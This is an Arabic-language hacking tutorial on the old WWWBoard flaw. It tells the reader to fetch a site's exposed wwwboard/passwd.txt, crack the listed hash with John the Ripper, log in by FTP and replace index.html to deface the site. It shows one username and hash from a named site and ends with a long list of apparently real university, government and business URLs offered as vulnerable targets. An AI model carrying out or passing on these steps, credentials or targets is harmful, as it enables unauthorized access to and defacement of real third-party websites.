wwwboard شرح مبسط لثغرة

ثغرة الـWWWBoard
هي أسهل ثغرة بالإضافة إلى الفرونت بيج.
لنفترض أن الموقع المراد إختراقه هو http://www.boardprep.net/
لنضف إليه
wwwboard/passwd.txt
فيصبح العنوان http://www.boardprep.net/wwwboard/passwd.txt
نفتح العنوان سوف تجد cknouse:aexMVWnDOyrdE
كلمة المرور:إسم المستخدم
يعني إسم المستخدم هو cknouse
وكلمة المرور هيaexMVWnDOyrdE
فك تشفيره بجون ذي ريبير

ا عندك إسم المستخدم وكلمة المرور شو بتعمل عشان تغير الصفحة الرئيسية
روح للفتب وإكتب ftp.domen.com
ملاحظة إستبدل domen.com بإسم الموقع إلي عندك باسوورده
وحط اليوزر نيم والباسس وإدخل على الموقع أنشئ صفحة بإسم index.html
وإرفعها للموقع
وروح
هذه مواقع مصابة بالثغرة
http://members.mint.net/raske/wwwboard/passwd.txt
http://www.avatar-moving.com/kb/wwwboard/passwd.txt
http://espa.virtualave.net/wwwboard/passwd.txt
http://www.dsg-art.com/wwwboard/passwd.txt
http://www.derby.gov.uk/dcc/wwwboard/passwd.txt
http://www.dsg-art.com/wwwboard/passwd.txt
http://www.frebend.com/wwwboard/passwd.txt
http://www.efn.org/~dalep/wwwboard/passwd.txt
http://kidlink.sunet.se/rti/irc/wwwboard/passwd.txt
http://www.hillsidespca.com/wwwboard/passwd.txt
http://www.lionnet.org.tr/118u/wwwboard/passwd.txt
http://www.cl.uh.edu/itc/scripts/li...oard/passwd.txt
http://www.cytoskeleton.com/wwwboard/passwd.txt
http://www.locon.org/wwwboard/passwd.txt
http://mulerider.saumag.edu/wwwboar...oard-passwd.txt
http://www.kcftoa.org/hazmat/wwwboard/passwd.txt
http://www.go-steeltown.com/classif...oard/passwd.txt
http://www.boardprep.net/wwwboard/passwd.txt
http://www.wgbhalumni.org/wwwboard/passwd.txt
http://www.creative-design.de/kmt/wwwboard/passwd.txt
http://www.kaapeli.fi/~hekata/wwwboard/passwd.txt
http://www.go-steeltown.com/invitat...oard/passwd.txt
http://www.ica1.uni-stuttgart.de/~k...oard/passwd.txt
http://www.wbref.ch/wwwboard/passwd.txt
http://www.fys.ku.dk/~voss/utopia/wwwboard/passwd.txt
http://www.awdansey.co.uk/wwwboard/passwd.txt
http://www.mpset.com/wwwboard/passwd.txt
http://www.selectfire.com/wwwboard/passwd.txt
http://www.climbnh.com/wwwboard/passwd.txt
http://cwww.com/wwwboard/passwd.txt
http://sitemanager.hypermart.net/wwwboard/passwd.txt
http://cgi.snafu.de/utimper/user-cg...oard/passwd.txt
http://www.foxsden.org/psf/FFE/wwwboard/passwd.txt
http://expert.cc.purdue.edu/~pumsan/wwwboard/passwd.txt
http://www.cabinessence.com/brian/s...oard/passwd.txt
http://wrm.hre.ntou.edu.tw/wrm/wwwboard/passwd.txt
http://www.radiocollege.org/rc/wwwboard/passwd.txt
http://www.student.utwente.nl/~here...oard/passwd.txt
http://www.firstfives.org/wwwboard/passwd.txt
http://www.adtelfree.com/wwwboard/passwd.txt
http://www.as.ua.edu/arcca/wwwboard/passwd.txt
http://students.cs.byu.edu/~quixote/wwwboard/passwd.txt
http://lrf1.unizar.es/~martin/panze...oard/passwd.txt
http://www.netset.com/~jdennis/wwwboard/passwd.txt
http://www.rit.edu/~jrd4663/cgi-bin/wwwboard/passwd.txt
http://www.i-55.com/andersoninc/wwwboard/passwd.txt
http://www.volker.de/deutsch/kontak...oard/passwd.txt
http://www.tiberigroup.com/wwwboard/passwd.txt
http://peakpits.com/wwwboard/passwd.txt
http://www.ug.cs.sunysb.edu/~boehme...oard/passwd.txt
http://www.cjns.com/cyb/cyberair/wwwboard/passwd.txt
http://www.konzert777.de/wwwboard/passwd.txt
http://www.cabling-design.com/inter...oard/passwd.txt
http://www.educanet.net/privado/con...oard/passwd.txt
http://www.socalhoops.tierranet.com/wwwboard/passwd.txt
http://www.zetor.org/scifi/public_h...oard/passwd.txt
http://www.nwlink.com/~nickguy/wwwboard/passwd.txt
http://www.dj-pool.de/PoolDeutsch/p...oard/passwd.txt
http://gladstone.uoregon.edu/~solsh...oard/passwd.txt
http://aasbd.org/wwwboard/passwd.txt
http://ftp.duth.gr/pub/netlib/utk/wwwboard/passwd.txt
http://www.freelance-street.co.uk/wwwboard/passwd.txt
http://gaia.ecs.csus.edu/~brookd/wwwboard/passwd.txt
http://www.rireformparty.com/wwwboard/passwd.txt
http://gaia.ecs.csus.edu/~brookd/wwwboard/passwd.txt
http://www.rireformparty.com/wwwboard/passwd.txt
http://www.arts.cuhk.edu.hk/~cmc/in...oard/passwd.txt
http://www.clearlight.com/~brawicz/wwwboard/passwd.txt
http://www.fgm.org/wwwboard/passwd.txt
http://www.chatrap.com/wwwboard/passwd.txt
http://www.yellowstone-natl-park.co...oard/passwd.txt
http://www.mtsu.edu/~ccurry/sets/ex...oard/passwd.txt
http://www.kaibutsu-thx.com/cx/htm/wwwboard/passwd.txt
http://www.kidlink.org/KIDPROJ/Brid...oard/passwd.txt
http://camineros.com/wwwboard/passwd.txt
http://www.markoschulz.de/scripte/f...oard/passwd.txt
http://www.offroadexchange.com/wwwboard/passwd.txt
http://www.boren.org/wwwboard/passwd.txt
http://crux.baker.edu/myeake01/wwwboard/passwd.txt
http://207.65.96.29/users/akira/wwwboard/passwd.txt
http://www.n2creative.com/wwwboard/password.txt
http://hkbne.virtualave.net/wwwboard/password.txt
http://www.glowinthedarkpaint.com/wwwboard/passwd.txt
http://www.mathpuzzle.com/wwwboard/passwd.txt
http://gybe.com/boggy/swallowtails/wwwboard/passwd.txt
http://gazissax.best.vwh.net/alsira...oard/passwd.txt
http://www.deltakappagamma.org/Inte...oard/passwd.txt
http://idchiro.org/wwwboard/passwd.txt
http://www.thousandfootkrutch.com/wwwboard/passwd.txt
http://uniteddesigngroup.com/wwwboard/passwd.txt
http://www.dawave.com/wwwboard/passwd.txt
http://www.acnetreatment.com/wwwboard/passwd.txt
http://pepup.hypermart.net/wwwboard/passwd.txt
http://gbsystems.com/wwwboard/passwd.txt
http://www.indieport.com/wwwboard/passwd.txt
http://www.utexas.edu/depts/asih/wwwboard/passwd.txt
http://hemi.ps.tsoa.nyu.edu/webchat/passwd.txt
http://www.stenum.at/euinfo/passwd.txt
http://www.mexconnect.com/liveboard/passwd.txt
http://www.doc.ic.ac.uk/~ipa98/jondon/passwd.txt
http://www.pnpi.spb.ru/nrd/ucn/cgi-...dmin/passwd.txt
http://gazissax.best.vwh.net/alsira...oard/passwd.txt
http://www.public.iastate.edu/~benco/oclub/passwd.txt
http://students.washington.edu/msa/waami/passwd.txt
http://member.mfea.com/Members/bbs/admin/passwd.txt
http://ais.gmd.de/~sylla/Archive/passwd.txt
http://www.lvadb.nl/regionalisering...9874/passwd.txt
http://www.jump.net/~alancook/discu...9311/passwd.txt
http://www.notam.com/forum/passwd.txt
http://www.sandiego.edu/~deroche/group4p/passwd.txt
http://www.sandiego.edu/~deroche/case7/passwd.txt
http://www.louisville.com/talk/passwd.txt
http://indianlake.com/cgibin/passwd.txt
http://www.swe.org/SWE/Convention/den01/passwd.txt
http://www.colorado.edu/geography/g...sion/passwd.txt
http://www.uidaho.edu/webboard/src/passwd.txt
http://dykesworld.de/Boards/sistah/passwd.txt
http://www.public.iastate.edu/~n2ddg/IE565/passwd.txt
http://www.ycgroup.com/board/passwd.txt
http://www.pnpi.spb.ru/nrd/ucn/cgi-...dmin/passwd.txt
http://www.pnpi.spb.ru/nrd/ucn/cgi-...s_admin/log.txt
http://www.pnpi.spb.ru/nrd/ucn/cgi-...in/adminlog.txt
http://www.doc.ic.ac.uk/~ipa98/jondon/passwd.txt
http://www.defenders.by.ru/texts/unix/unix-passwd.txt
http://www.public.iastate.edu/~benco/oclub/passwd.txt
http://www.ycgroup.com/board/passwd.txt
http://www.unionmen.com/forum/passwd.txt
http://facyt.uc.edu.ve/foros/passwd.txt
http://www.ku.edu/~philos/courses/wwwboard3/passwd.txt
http://ponce.inter.edu/forums/passwd.txt
http://students.washington.edu/msa/curriculum/passwd
.txt
http://www.uidaho.edu/webboard/src/passwd.txt
http://www.louisville.com/talk/passwd.txt
http://www.motosalvagedirectory.com/forums/passwd.txt
http://gazissax.best.vwh.net/alsira...oard/passwd.txt
http://www.mexconnect.com/liveboard/passwd.txt
http://www.inece.org/ozone/passwd.txt
http://www.usd.edu/phys/courses/ast...bord/passwd.txt
http://cds.unina.it/~tuccillo/passwd.txt
http://ponce.inter.edu/forums/prueba/passwd.txt
http://paradigm-dc.hypermart.net/passwd.txt
http://clonetheory.virtualave.net/passwd.txt
http://www.uni-ulm.de/LiLL/foren/forum1/passwd.txt
http://www.fh-potsdam.de/~potsmods/...ster/passwd.txt
http://www.endicott.edu/staff/kuhn/...9812/passwd.txt
http://www.artintheschool.org/forum/passwd.txt
http://www.utexas.edu/depts/grg/vir...sion/passwd.txt
http://www.mag7.net/floor/passwd.txt
http://www.urban-forestry.com/forum/passwd.txt

فك التشفير واشتغل
ملاحظة:
قد ياخذ فك التشقير فترة طويلة ولكن في التهاية سيتم فك تشفير الباسوورد